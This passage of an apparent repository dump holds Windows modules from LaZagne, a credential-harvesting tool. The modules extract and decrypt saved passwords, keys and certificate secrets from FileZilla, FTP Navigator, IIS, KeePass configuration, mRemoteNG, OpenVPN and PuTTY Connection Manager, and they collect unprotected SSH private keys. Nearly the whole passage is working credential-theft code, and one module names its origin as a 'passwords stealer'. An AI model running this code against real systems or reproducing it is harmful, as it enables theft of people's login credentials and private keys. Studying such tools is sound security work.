binascii.unhexlify('0123456789abcdef')\r\n    plain = binascii.unhexlify('0123456789abcdef')\r\n    cipher = binascii.unhexlify('6e09a37726dd560c')\r\n    ek = deskey(key, False)\r\n    dk = deskey(key, True)\r\n    assert desfunc(plain, ek) == cipher\r\n    assert desfunc(desfunc(plain, ek), dk) == plain\r\n    assert desfunc(desfunc(plain, dk), ek) == plain\r\n    print('test succeeded.')\r\n"
  },
  {
    "path": "Windows/lazagne/softwares/sysadmin/filezilla.py",
    "content": "# -*- coding: utf-8 -*-\nimport base64\n\nfrom xml.etree.cElementTree import ElementTree\n\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config.constant import constant\n\nimport os\n\n\nclass Filezilla(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, 'filezilla', 'sysadmin')\n\n    def run(self):\n        path = os.path.join(constant.profile['APPDATA'], u'FileZilla')\n        if os.path.exists(path):\n            pwd_found = []\n            for file in [u'sitemanager.xml', u'recentservers.xml', u'filezilla.xml']:\n\n                xml_file = os.path.join(path, file)\n                if os.path.exists(xml_file):\n                    tree = ElementTree(file=xml_file)\n                    if tree.findall('Servers/Server'):\n                        servers = tree.findall('Servers/Server')\n                    else:\n                        servers = tree.findall('RecentServers/Server')\n\n                    for server in servers:\n                        host = server.find('Host')\n                        port = server.find('Port')\n                        login = server.find('User')\n                        password = server.find('Pass')\n                        \n                        # if all((host, port, login)) does not work\n                        if host is not None and port is not None and login is not None:\n                            values = {\n                                'Host': host.text,\n                                'Port': port.text,\n                                'Login': login.text,\n                            }\n\n                        if password is not None:\n                            if 'encoding' in password.attrib and password.attrib['encoding'] == 'base64':\n                                values['Password'] = base64.b64decode(password.text)\n                            else:\n                                values['Password'] = password.text\n\n                        if values: \n                            pwd_found.append(values)\n\n            return pwd_found\n"
  },
  {
    "path": "Windows/lazagne/softwares/sysadmin/filezillaserver.py",
    "content": "# -*- coding: utf-8 -*-\nfrom xml.etree.cElementTree import ElementTree\n\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config.constant import constant\n\nimport os\n\n\nclass FilezillaServer(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, 'filezillaserver', 'sysadmin')\n\n    def run(self):\n        path = os.path.join(constant.profile['APPDATA'], u'FileZilla Server')\n        if os.path.exists(path):\n            pwd_found = []\n            file = u'FileZilla Server Interface.xml'\n\n            xml_file = os.path.join(path, file)\n\n            if os.path.exists(xml_file):\n                tree = ElementTree(file=xml_file)\n                root = tree.getroot()\n                host = port = password = None\n\n                for item in root.iter(\"Item\"):\n                    if item.attrib['name'] == 'Last Server Address':\n                        host = item.text\n                    elif item.attrib['name'] == 'Last Server Port':\n                        port = item.text\n                    elif item.attrib['name'] == 'Last Server Password':\n                        password = item.text\n                # if all((host, port, login)) does not work\n                if host is not None and port is not None and password is not None:\n                    pwd_found = [{\n                        'Host': host,\n                        'Port': port,\n                        'Password': password,\n                    }]\n\n            return pwd_found\n"
  },
  {
    "path": "Windows/lazagne/softwares/sysadmin/ftpnavigator.py",
    "content": "# -*- coding: utf-8 -*- \r\nimport struct\r\n\r\nfrom lazagne.config.module_info import ModuleInfo\r\nfrom lazagne.config.constant import constant\r\n\r\nimport os\r\n\r\n\r\nclass FtpNavigator(ModuleInfo):\r\n    def __init__(self):\r\n        ModuleInfo.__init__(self, 'ftpnavigator', 'sysadmin', system_module=True)\r\n\r\n    def decode(self, encode_password):\r\n        password = ''\r\n        for p in encode_password:\r\n            password += chr(struct.unpack('B', p)[0] ^ 0x19)\r\n        return password\r\n\r\n    def run(self):\r\n        path = os.path.join(constant.profile['HOMEDRIVE'], u'\\\\FTP Navigator', u'Ftplist.txt')\r\n        elements = {'Name': 'Name', 'Server': 'Host', 'Port': 'Port', 'User': 'Login', 'Password': 'Password'}\r\n        if os.path.exists(path):\r\n            pwd_found = []\r\n            with open(path, 'r') as f:\r\n                for ff in f:\r\n                    values = {}\r\n                    info = ff.split(';')\r\n                    for i in info:\r\n                        i = i.split('=')\r\n                        for e in elements:\r\n                            if i[0] == e:\r\n                                if i[0] == \"Password\" and i[1] != '1' and i[1] != '0':\r\n                                    values['Password'] = self.decode(i[1])\r\n                                else:\r\n                                    values[elements[i[0]]] = i[1]\r\n\r\n                    # used to save the password if it is an anonymous authentication\r\n                    if values['Login'] == 'anonymous' and 'Password' not in values:\r\n                        values['Password'] = 'anonymous'\r\n\r\n                    pwd_found.append(values)\r\n\r\n            return pwd_found\r\n"
  },
  {
    "path": "Windows/lazagne/softwares/sysadmin/iisapppool.py",
    "content": "import fnmatch\nimport os\nimport subprocess\nimport re\nimport string\n\nfrom lazagne.config.module_info import ModuleInfo\n\nclass IISAppPool(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, name='iisapppool', category='sysadmin', registry_used=True, winapi_used=True)\n\n    def find_files(self, path, file):\n        \"\"\"\n        Try to find all files with the same name\n        \"\"\"\n        founded_files = []\n        for dirpath, dirnames, files in os.walk(path):\n            for file_name in files:\n                if fnmatch.fnmatch(file_name, file):\n                    founded_files.append(dirpath + '\\\\' + file_name)\n\n        return founded_files\n\n    def execute_get_stdout(self, exe_file, arguments):\n        try:\n            proc = subprocess.Popen(exe_file + \" \" + arguments, shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\n        except:\n            self.debug(u'Error executing {exefile}'.format(exefile=exe_file))\n            return None\n\n        return proc.stdout\n\n    def run(self):\n        pfound = []\n\n        exe_files = self.find_files(os.environ['WINDIR'] + '\\\\System32\\\\inetsrv', 'appcmd.exe')\n        if len(exe_files) == 0:\n            self.debug(u'File not found appcmd.exe')\n            return\n\n        self.info(u'appcmd.exe files found: {files}'.format(files=exe_files))\n        output = self.execute_get_stdout(exe_files[-1], 'list apppool')\n        if output == None:\n            self.debug(u'Problems with Application Pool list')\n            return\n\n        app_list = []\n        for line in output.readlines():\n            app_list.append(re.findall(r'\".*\"', line)[0].split('\"')[1])\n            \n\n        for app in app_list:\n            values = {}\n            username = ''\n            password = ''\n            \n            output = self.execute_get_stdout(exe_files[-1], 'list apppool ' + app + ' /text:*')\n\n            for line in output.readlines():\n                if re.search(r'userName:\".*\"', line):\n                    username = re.findall(r'userName:\".*\"', line)[0].split('\"')[1]\n\n                if re.search(r'password:\".*\"', line):\t\t\t\t\n                    password = re.findall(r'password:\".*\"', line)[0].split('\"')[1]\n\n            if password != '' : \n                values['AppPool.Name'] = app \n                values['Username'] = username \n                values['Password'] = password \n\n                pfound.append(values)\n\t\t\t\t\n        \n        return pfound \n"
  },
  {
    "path": "Windows/lazagne/softwares/sysadmin/iiscentralcertp.py",
    "content": "# -*- coding: utf-8 -*-\nimport base64\nimport fnmatch\nimport os\nimport rsa\nimport string\n\nfrom random import *\nfrom xml.dom import minidom\n\ntry:\n    import _winreg as winreg\nexcept ImportError:\n    import winreg\n\n\nfrom lazagne.config.module_info import ModuleInfo\n\n\nclass IISCentralCertP(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, name='iiscentralcertp', category='sysadmin', registry_used=True, winapi_used=True)\n\n    def find_files(self, path, file):\n        \"\"\"\n        Try to find all files with the same name\n        \"\"\"\n        founded_files = []\n        for dirpath, dirnames, files in os.walk(path):\n            for file_name in files:\n                if fnmatch.fnmatch(file_name, file):\n                    founded_files.append(dirpath + '\\\\' + file_name)\n\n        return founded_files\n\n    def create_RSAKeyValueFile(self, exe_file, container):\n        tmp_file = \"\".join(choice(string.ascii_letters + string.digits) for x in range(randint(8, 10))) + \".xml\"\n        try:\n            os.system(exe_file + \" -px \" + container + \" \" + tmp_file + \" -pri > nul\")\n        except OSError:\n            self.debug(u'Error executing {container}'.format(container=container))\n            tmp_file = ''\n\n        return tmp_file\n\n    def get_registry_key(self, reg_key, parameter):\n        data = ''\n        try:\n            if reg_key.startswith('HKEY_LOCAL_MACHINE'):\n                hkey = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, reg_key.replace('HKEY_LOCAL_MACHINE\\\\', ''))\n            data = winreg.QueryValueEx(hkey, parameter)[0]\n        \n        except Exception as e:\n            self.debug(e)\n\n        return data\n\n    def decrypt_hash_b64(self, hash_b64, privkey):\n        hash = bytearray(base64.b64decode(hash_b64))\n        hash.reverse()\n        hash_b64 = base64.b64encode(hash)\n        hash = base64.b64decode(hash_b64)\n        message = rsa.decrypt(hash, privkey)\n        return message.decode('UTF-16')\n\n    def GetLong(self, nodelist):\n        rc = []\n        for node in nodelist:\n            if node.nodeType == node.TEXT_NODE:\n                rc.append(node.data)\n\n        st = ''.join(rc)\n        raw = base64.b64decode(st)\n        return int(raw.encode('hex'), 16)\n\n    def read_RSAKeyValue(self, rsa_key_xml):\n        xmlStructure = minidom.parseString(rsa_key_xml)\n\n        MODULUS = self.GetLong(xmlStructure.getElementsByTagName('Modulus')[0].childNodes)\n        EXPONENT = self.GetLong(xmlStructure.getElementsByTagName('Exponent')[0].childNodes)\n        D = self.GetLong(xmlStructure.getElementsByTagName('D')[0].childNodes)\n        P = self.GetLong(xmlStructure.getElementsByTagName('P')[0].childNodes)\n        Q = self.GetLong(xmlStructure.getElementsByTagName('Q')[0].childNodes)\n        InverseQ = self.GetLong(xmlStructure.getElementsByTagName('InverseQ')[0].childNodes)\n\n        privkey = rsa.PrivateKey(MODULUS, EXPONENT, D, P, Q)\n        self.debug(u'RSA Key Value - PEM:\\n {RSAkey}'.format(RSAkey=privkey.save_pkcs1(format='PEM')))\n\n        return privkey\n\n    def run(self):\n        pfound = []\n\n        ccp_enabled = self.get_registry_key('HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\IIS\\\\CentralCertProvider',\n                                            'Enabled')\n        if ccp_enabled != 1:\n            self.debug(u'IIS CentralCertProvider is not enabled')\n            return\n\n        exe_files = self.find_files(os.environ['WINDIR'] + '\\\\Microsoft.NET\\\\Framework64\\\\', 'aspnet_regiis.exe')\n        if len(exe_files) == 0:\n            exe_files = self.find_files(os.environ['WINDIR'] + '\\\\Microsoft.NET\\\\Framework\\\\', 'aspnet_regiis.exe')\n            if len(exe_files) == 0:\n                self.debug(u'File not found aspnet_regiis.exe')\n                return\n\n        self.info(u'aspnet_regiis.exe files found: {files}'.format(files=exe_files))\n        rsa_xml_file = self.create_RSAKeyValueFile(exe_files[-1], \"iisWASKey\")\n        if rsa_xml_file == '':\n            self.debug(u'Problems extracting RSA Key Value')\n            return\n\n        with open(rsa_xml_file, 'rb') as File:\n            rsa_key_xml = File.read()\n\n        os.remove(rsa_xml_file)\n        self.debug(u'Temporary file removed: {filename}'.format(filename=rsa_xml_file))\n        privkey = self.read_RSAKeyValue(rsa_key_xml)\n        values = {}\n        \n        CertStoreLocation = self.get_registry_key('HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\IIS\\\\CentralCertProvider',\n                                                  'CertStoreLocation')\n        values['CertStoreLocation'] = CertStoreLocation\n        \n        username = self.get_registry_key('HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\IIS\\\\CentralCertProvider',\n                                         'Username')\n        values['Username'] = username\n        \n        pass64 = self.get_registry_key('HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\IIS\\\\CentralCertProvider',\n                                       'Password')\n        values['Password'] = self.decrypt_hash_b64(pass64, privkey)\n\n        privpass64 = self.get_registry_key('HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\IIS\\\\CentralCertProvider',\n                                           'PrivateKeyPassword')\n        values['Private Key Password'] = self.decrypt_hash_b64(privpass64, privkey)\n\n        pfound.append(values)\n        return pfound \n"
  },
  {
    "path": "Windows/lazagne/softwares/sysadmin/keepassconfig.py",
    "content": "# -*- coding: utf-8 -*- \nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config.constant import *\n\nimport os\n\nfrom xml.etree.ElementTree import parse\n\nclass KeePassConfig(ModuleInfo):\n\n    def __init__(self):\n        ModuleInfo.__init__(self, 'keepassconfig', 'sysadmin')\n        self.attr_to_extract = [\"Keyfile\", \"Database\", \"Type\"]\n\n    def run(self):\n        \"\"\"\n        Main function\n        \"\"\"\n\n        pwd_found = []\n\n        #Keepass1\n        connection_file_directory = os.path.join(constant.profile['APPDATA'], u'KeePass')\n        if os.path.exists(connection_file_directory):\n            connection_file_location = os.path.join(connection_file_directory, u'KeePass.ini')\n            if os.path.isfile(connection_file_location):\n                file_content = open(connection_file_location, 'r').read()\n                #KeeKeySourceID\n                if len(file_content.split(\"KeeKeySourceID\")) > 1:\n                    KeeKeySource_number = len(file_content.split(\"KeeKeySourceID\")) - 1\n                    for i in range(0, KeeKeySource_number ):\n                        database = file_content.partition(\"KeeKeySourceID\" + str(i) + \"=\" )[2].partition('\\n')[0]\n                        database = database.replace('..\\\\..\\\\', 'C:\\\\')\n                        keyfile = file_content.partition(\"KeeKeySourceValue\" + str(i) + \"=\" )[2].partition('\\n')[0]\n                        pwd_found.append({\n                            'Keyfile': keyfile,\n                            'Database': database\n                        })  \n                #KeeLastDb\n                if file_content.partition(\"KeeLastDb=\")[1] == \"KeeLastDb=\":\n                    database = file_content.partition(\"KeeLastDb=\")[2].partition('\\n')[0]\n                    database = database.replace('..\\\\..\\\\', 'C:\\\\')\n                    already_in_pwd_found = 0\n                    for elmt in pwd_found:\n                        if database == elmt['Database']:\n                            already_in_pwd_found = 1\n                    if already_in_pwd_found == 0:\n                        pwd_found.append({\n                            'Keyfile': \"No keyfile found\",\n                            'Database': database\n                        })\n        #Keepass2\n        connection_file_directory = os.path.join(constant.profile['APPDATA'], u'KeePass')\n        if os.path.exists(connection_file_directory):\n            connection_file_location = os.path.join(connection_file_directory, u'KeePass.config.xml')\n\n            if os.path.isfile(connection_file_location):\n                try:\n                    connections = parse(connection_file_location).getroot()\n                    connection_nodes = connections.findall(\".//Association\")\n                    for connection_node in connection_nodes:\n                        database = connection_node.find('DatabasePath').text.replace('..\\\\..\\\\', 'C:\\\\')\n                        type = \"\"\n                        if connection_node.find('Password') is not None:\n                            type += \"Password - \"\n                        if  connection_node.find('UserAccount') is not None:\n                            type += \"NTLM - \"\n                        try:\n                            keyfile = connection_node.find('KeyFilePath').text.replace('..\\\\..\\\\', 'C:\\\\')\n                            type += \"Keyfile - \"\n                        except:\n                            keyfile = \"No keyfile found\"\n\n                        pwd_found.append({\n                            'Keyfile': keyfile,\n                            'Database': database,\n\t\t\t\t\t\t\t'Type': type[:-3]\n                        })\n                except:\n                    pass\n\n                try:\n                    connections = parse(connection_file_location).getroot()\n                    connection_nodes = connections.findall(\".//LastUsedFile\")\n                    for connection_node in connection_nodes:\n                        database = connection_node.find('Path').text.replace('..\\\\..\\\\', 'C:\\\\')\n                        already_in_pwd_found = 0\n                        for elmt in pwd_found:\n                            if database == elmt['Database']:\n                                already_in_pwd_found = 1\n                        if already_in_pwd_found == 0:\n                            pwd_found.append({\n                                'Keyfile': \"No keyfile found\",\n                                'Database': database\n                            })\n                except:\n                    pass\n\n                try:\n                    connections = parse(connection_file_location).getroot()\n                    connection_nodes = connections.findall(\".//ConnectionInfo\")\n                    for connection_node in connection_nodes:\n                        database = connection_node.find('Path').text.replace('..\\\\..\\\\', 'C:\\\\')\n                        already_in_pwd_found = 0\n                        for elmt in pwd_found:\n                            if database == elmt['Database']:\n                                already_in_pwd_found = 1\n                        if already_in_pwd_found == 0:\n                            pwd_found.append({\n                                'Keyfile': \"No keyfile found\",\n                                'Database': database\n                            })\n                except:\n                    pass\n\n        return pwd_found\n"
  },
  {
    "path": "Windows/lazagne/softwares/sysadmin/mRemoteNG.py",
    "content": "#!/usr/bin/env python3\r\n# -*- coding: utf-8 -*-\r\n\r\n\"\"\"\r\nThis module requires LaZagne: https://github.com/AlessandroZ/LaZagne/releases/\r\nCurrent source: https://github.com/AlessandroZ/LaZagne\r\n\"\"\"\r\n\r\n__version__ = \"1.0.0\"\r\n__author__ = \"Maurice Lambert\"\r\n__author_email__ = \"mauricelambert434@gmail.com\"\r\n__source__ = \"https://github.com/mauricelambert/mRemoteNGpasswordsStealer\"\r\n\r\nfrom lazagne.config.write_output import print_debug\r\nfrom lazagne.config.module_info import ModuleInfo\r\nfrom lazagne.config.constant import constant\r\n\r\nfrom Crypto.Util.Padding import unpad\r\nfrom hashlib import pbkdf2_hmac, md5\r\nfrom xml.dom.minidom import parse\r\nfrom Crypto.Cipher import AES\r\nfrom base64 import b64decode\r\nfrom os.path import join\r\nfrom io import BytesIO\r\nfrom glob import glob\r\n\r\n\r\nclass mRemoteNG(ModuleInfo):\r\n\r\n    \"\"\"\r\n    This class searches for and decrypts mRemoteNG passwords.\r\n    \"\"\"\r\n\r\n    def __init__(self):\r\n        self.files = self.get_configuration_files()\r\n        self.password = \"mR3m\"\r\n        self.success_coutner = 0\r\n        self.errors_counter = 0\r\n\r\n        ModuleInfo.__init__(self, \"mRemoteNG\", \"sysadmin\")\r\n\r\n    def gcm_decrypt(self, password):\r\n\r\n        \"\"\"\r\n        This function decrypts GCM passwords.\r\n        \"\"\"\r\n\r\n        password_buffer = BytesIO(password)\r\n\r\n        salt = password_buffer.read(16)\r\n        nonce = password_buffer.read(16)\r\n\r\n        if not nonce:\r\n            print_debug(\r\n                \"DEBUG\",\r\n                \"Blank password.\",\r\n            )\r\n            return \"\"\r\n\r\n        data_tag = password_buffer.read()\r\n        data = data_tag[:-16]\r\n        tag = data_tag[-16:]\r\n\r\n        key = pbkdf2_hmac(\"sha1\", self.password, salt, 1000, dklen=32)\r\n\r\n        cipher = AES.new(key, AES.MODE_GCM, nonce)\r\n        cipher.update(salt)\r\n\r\n        try:\r\n            secrets = cipher.decrypt_and_verify(data, tag).decode()\r\n        except ValueError:\r\n            self.errors_counter += 1\r\n            print_debug(\r\n                \"FAILED\",\r\n                \"Decryption failed the master password is probably incorrect.\",\r\n            )\r\n        else:\r\n            print_debug(\r\n                \"DEBUG\",\r\n                \"Password decrypted successfully.\",\r\n            )\r\n            self.success_coutner += 1\r\n\r\n        return secrets\r\n\r\n    def cbc_decrypt(self, password):\r\n\r\n        \"\"\"\r\n        This function decrypts CBC passwords.\r\n        \"\"\"\r\n\r\n        iv = password[:16]\r\n        data = password[16:]\r\n\r\n        cipher = AES.new(self.password, AES.MODE_CBC, iv)\r\n        return unpad(cipher.decrypt(data), AES.block_size).decode()\r\n\r\n    def decrypt(self, password):\r\n\r\n        \"\"\"\r\n        This function decrypts mRemoteNG passwords.\r\n        \"\"\"\r\n\r\n        password = b64decode(password.encode())\r\n        return self._decrypt(password)\r\n\r\n    def run(self, software_name = None):\r\n\r\n        \"\"\"\r\n        This function starts password recovery.\r\n        \"\"\"\r\n\r\n        parser = self.parser\r\n        return [\r\n            credentials for file in self.files for credentials in parser(file)\r\n        ]\r\n\r\n    def parser(self, filename):\r\n\r\n        \"\"\"\r\n        This function parses the mRemoteNG configuration file.\r\n        \"\"\"\r\n\r\n        event = parse(filename).firstChild\r\n\r\n        if event.nodeName != \"mrng:Connections\":\r\n            print_debug(\"ERROR\", \"Invalid configuration file.\")\r\n\r\n        block_cipher = event.attributes.getNamedItem(\"BlockCipherMode\")\r\n\r\n        if block_cipher is None:\r\n            print_debug(\"ERROR\", \"Invalid configuration file.\")\r\n\r\n        ciphername = block_cipher.nodeValue\r\n        if ciphername != \"GCM\" and ciphername != \"CBC\":\r\n            print_debug(\"ERROR\", \"Invalid block cipher mode.\")\r\n\r\n        if ciphername == \"CBC\":\r\n            self.password = md5(self.password).digest()\r\n            self._decrypt = self.cbc_decrypt\r\n        elif ciphername == \"GCM\":\r\n            self._decrypt = self.gcm_decrypt\r\n\r\n        self.block_cipher = block_cipher\r\n        decrypt = self.decrypt\r\n\r\n        for node in event.getElementsByTagName(\"Node\"):\r\n            username = node.attributes.getNamedItem(\"Username\")\r\n            hostname = node.attributes.getNamedItem(\"Hostname\")\r\n            password = node.attributes.getNamedItem(\"Password\")\r\n\r\n            if password is not None:\r\n                password = decrypt(password.nodeValue)\r\n            else:\r\n                password = \"\"\r\n\r\n            if username is not None:\r\n                username = username.nodeValue\r\n            else:\r\n                username = \"\"\r\n\r\n            if hostname is not None:\r\n                hostname = hostname.nodeValue\r\n            else:\r\n                hostname = \"\"\r\n\r\n            yield {\r\n                \"Hostname\": hostname,\r\n                \"Username\": username,\r\n                \"Password\": password,\r\n            }\r\n\r\n    def get_configuration_files(self):\r\n\r\n        \"\"\"\r\n        This function returns the default mRemoteNG configuration files.\r\n        \"\"\"\r\n\r\n        return glob(\r\n            join(\r\n                constant.profile['APPDATA'],\r\n                \"mRemoteNG\",\r\n                \"confCons.xml*\",\r\n            )\r\n        )\r\n"
  },
  {
    "path": "Windows/lazagne/softwares/sysadmin/opensshforwindows.py",
    "content": "# -*- coding: utf-8 -*-\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config.constant import constant\n# from Crypto.PublicKey import RSA\n# from Crypto.PublicKey import DSA\nimport os\n\n\nclass OpenSSHForWindows(ModuleInfo):\n\n    def __init__(self):\n        ModuleInfo.__init__(self, 'opensshforwindows', 'sysadmin')\n        #self.key_files_location = os.path.join(constant.profile[\"USERPROFILE\"], u'.ssh')\n\n    # Retrieve SSH private key even if a passphrase is set (the goal is to remove crypto dependency)\n    # def is_private_key_unprotected(self, key_content_encoded, key_algorithm):\n    #     \"\"\"\n    #     Check if the private key can be loaded without specifying any passphrase.\n    #\n    #     PyCrypto >= 2.6.1 required in order to have the method importKey() in DSA class.\n    #\n    #     :param key_content_encoded: Encoded content of the private key to test\n    #     :param key_algorithm: Algorithm of the key (RSA or DSA)\n    #     :return: True only if the key can be successfuly loaded and is usable\n    #     \"\"\"\n    #     state = False\n    #     try:\n    #         # Try to load it\n    #         if key_algorithm == \"RSA\":\n    #             key = RSA.importKey(key_content_encoded)\n    #         else:\n    #             key = DSA.importKey(key_content_encoded)\n    #         # Validate loading\n    #         state = (key is not None and key.can_sign() and key.has_private())\n    #     except Exception as e:\n    #         self.error(u\"Cannot validate key protection '%s'\" % e)\n    #         state = False\n    #         pass\n    #\n    #     return state\n\n    def extract_private_keys_unprotected(self):\n        \"\"\"\n        Extract all DSA/RSA private keys that are not protected with a passphrase.\n\n        :return: List of encoded key (key file content)\n        \"\"\"\n        keys = []\n        if os.path.isdir(self.key_files_location):\n            for (dirpath, dirnames, filenames) in os.walk(self.key_files_location, followlinks=True):\n                for f in filenames:\n                    key_file_path = os.path.join(dirpath, f)\n                    if os.path.isfile(key_file_path):\n                        try:\n                            # Read encoded content of the key\n                            with open(key_file_path, \"r\") as key_file:\n                                key_content_encoded = key_file.read()\n                            # Determine the type of the key (public/private) and what is it algorithm\n                            if \"DSA PRIVATE KEY\" in key_content_encoded:\n                                key_algorithm = \"DSA\"\n                            elif \"RSA PRIVATE KEY\" in key_content_encoded or \"OPENSSH PRIVATE KEY\" in key_content_encoded:\n                                key_algorithm = \"RSA\"\n                            else:\n                                key_algorithm = None\n                            # Check if the key can be loaded (used) without passphrase\n                            # if key_algorithm is not None and self.is_private_key_unprotected(key_content_encoded,\n                            #                                                                    key_algorithm):\n                            if key_algorithm:\n                                keys.append(key_content_encoded)\n                        except Exception as e:\n                            self.error(u\"Cannot load key file '%s' '%s'\" % (key_file_path, e))\n                            pass\n\n        return keys\n\n    def run(self):\n        \"\"\"\n        Main function\n        \"\"\"\n        self.key_files_location = os.path.join(constant.profile[\"USERPROFILE\"], u'.ssh')\n        # Extract all DSA/RSA private keys that are not protected with a passphrase\n        unprotected_private_keys = self.extract_private_keys_unprotected()\n\n        # Parse and process the list of keys\n        key_found = []\n        for key in unprotected_private_keys:\n            values = {\"Privatekey\": key}\n            key_found.append(values)\n\n        return key_found\n"
  },
  {
    "path": "Windows/lazagne/softwares/sysadmin/openvpn.py",
    "content": "try:\n    import _winreg as winreg\nexcept ImportError:\n    import winreg\n\nfrom lazagne.config.winstructure import *\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config.winstructure import Win32CryptUnprotectData\nfrom lazagne.config.constant import constant\n\nimport os\n\nclass OpenVPN(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, name='openvpn', category='sysadmin', registry_used=True, winapi_used=True)\n\n    def check_openvpn_installed(self):\n        try:\n            key = OpenKey(HKEY_CURRENT_USER, 'Software\\\\OpenVPN-GUI\\\\Configs')\n            return key\n        except Exception as e:\n            self.debug(str(e))\n            return False\n\n    def decrypt_password(self, encrypted_password, entropy):\n        result_bytes = Win32CryptUnprotectData(encrypted_password,\n                                               entropy=entropy,\n                                               is_current_user=constant.is_current_user,\n                                               user_dpapi=constant.user_dpapi)\n        return result_bytes.decode(\"utf16\")\n\n    def get_credentials(self, key):\n        pwd_found = []\n        num_profiles = winreg.QueryInfoKey(key)[0]\n        for n in range(num_profiles):\n            name_skey = winreg.EnumKey(key, n)\n            skey = OpenKey(key, name_skey)\n            values = {'Profile': name_skey}\n            try:\n                encrypted_password = winreg.QueryValueEx(skey, \"auth-data\")[0]\n                entropy = winreg.QueryValueEx(skey, \"entropy\")[0][:-1]\n                password = self.decrypt_password(encrypted_password, entropy)\n                values['Password'] = password\n                values['Username'] = winreg.QueryValueEx(skey, \"username\")[0].decode(\"utf16\")\n                #  Try to find out private key password.\n                #  It doesn't have to exist.\n                try:\n                    encrypted_private_key_password = winreg.QueryValueEx(skey, \"key-data\")[0]\n                    values['PrivateKeyPassword'] = self.decrypt_password(encrypted_private_key_password, entropy)\n                except Exception as e:\n                    pass\n\n                values.update(self.collect_extra_data_for_profile(name_skey))\n            except Exception as e:\n                self.debug(str(e))\n            pwd_found.append(values)\n            winreg.CloseKey(skey)\n        winreg.CloseKey(key)\n\n        return pwd_found\n\n    @staticmethod\n    def get_vpn_config_file_path(profile_name):\n        possible_openvpn_config_directories = [\n            'C:\\\\Program Files\\\\OpenVPN\\\\config',\n            'C:\\\\Program Files (x86)\\\\OpenVPN\\\\config',\n            os.path.join(constant.profile['USERPROFILE'], 'OpenVPN', \"config\")\n        ]\n\n        #  It needs to do a recursive search in directories `possible_openvpn_config_directories` to find config file for `profile_name`\n        #  I do not want to make this function as a method because I expect this is the only usage of it\n        def search_ovpn_files_in_directory_recursively(directory):\n            try:\n                for item in os.listdir(directory):\n                    item_path = os.path.join(directory, item)\n                    if os.path.isdir(item_path):\n                        yield from search_ovpn_files_in_directory_recursively(item_path)\n\n                    elif os.path.isfile(item_path) and item.endswith(\".ovpn\"):\n                        yield item_path\n            except Exception:\n                pass\n\n        def search_all_ovpn_files():\n            for directory in possible_openvpn_config_directories:\n                yield from search_ovpn_files_in_directory_recursively(directory=directory)\n\n        for some_openvpn_config_file in search_all_ovpn_files():\n            if os.path.basename(some_openvpn_config_file) == \"%s.ovpn\" % profile_name:\n                return some_openvpn_config_file\n\n    def collect_extra_data_for_profile(self, profile_name):\n        result = dict()\n        config_file = self.get_vpn_config_file_path(profile_name)\n        if not config_file:\n            return result\n\n        with open(config_file, \"r\") as r:\n            profile_config = r.read()\n            #  Config file is multiline. So in purpose to achive more readable result it wrapped around with some prefix and postfix\n            result['Config ((%s))' % config_file] = \"-----START_CONFIG_FILE-----\\n%s\\n-----END_CONFIG_FILE-----\" % (\n                profile_config)\n\n        #  Do a simple config file parse to find out private key\n        for line in profile_config.splitlines():\n            line = line.strip()\n            if not line:\n                continue\n            try:\n                parameter, value = line.split(maxsplit=1)\n            except Exception:\n                continue\n\n            #  TODO: add more parameters to retrieve\n            if parameter in [\"pkcs12\", ]:\n                try:\n                    with open(value, 'rb') as r:\n                        file_content = r.read()\n                        #  pkcs12_key is binary data. It should to do something to make result more readable\n                except Exception as e:\n                    file_content = str(e)\n\n                result[\"%s file content (%s)\" % (parameter, value)] = file_content\n\n        return result\n\n    def run(self):\n        openvpn_key = self.check_openvpn_installed()\n        if openvpn_key:\n            results = self.get_credentials(openvpn_key)\n            if results:\n                return results\n"
  },
  {
    "path": "Windows/lazagne/softwares/sysadmin/puttycm.py",
    "content": "# -*- coding: utf-8 -*- \ntry: \n    import _winreg as winreg\nexcept ImportError:\n    import winreg\n\nfrom xml.etree.cElementTree import ElementTree\n\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config.winstructure import OpenKey, HKEY_CURRENT_USER, string_to_unicode\n\nimport os\n\n\nclass Puttycm(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, 'puttycm', 'sysadmin', registry_used=True)\n\n    def run(self):\n        database_path = self.get_default_database()\n        if database_path and os.path.exists(database_path):\n            return self.parse_xml(database_path)\n\n    def get_default_database(self):\n        try:\n            key = OpenKey(HKEY_CURRENT_USER, 'Software\\\\ACS\\\\PuTTY Connection Manager')\n            db = string_to_unicode(winreg.QueryValueEx(key, 'DefaultDatabase')[0])\n            winreg.CloseKey(key)\n            return db\n        except Exception:\n            return False\n\n    def parse_xml(self, database_path):\n        xml_file = os.path.expanduser(database_path)\n        tree = ElementTree(file=xml_file)\n        root = tree.getroot()\n\n        pwd_found = []\n        elements = ['name', 'protocol', 'host', 'port', 'description', 'login', 'password']\n        for connection in root.iter('connection'):\n            children = connection.getchildren()\n            values = {}\n            for child in children:\n                for c in child:\n                    if str(c.tag) in elements:\n                        values[str(c.tag).capitalize()] = str(c.text)\n\n            if values:\n                pwd_found.append(values)\n\n        return pwd_found\n"
  },
  {
    "path": "Windows/lazagne/softwares/sysadmin/rclone.py",
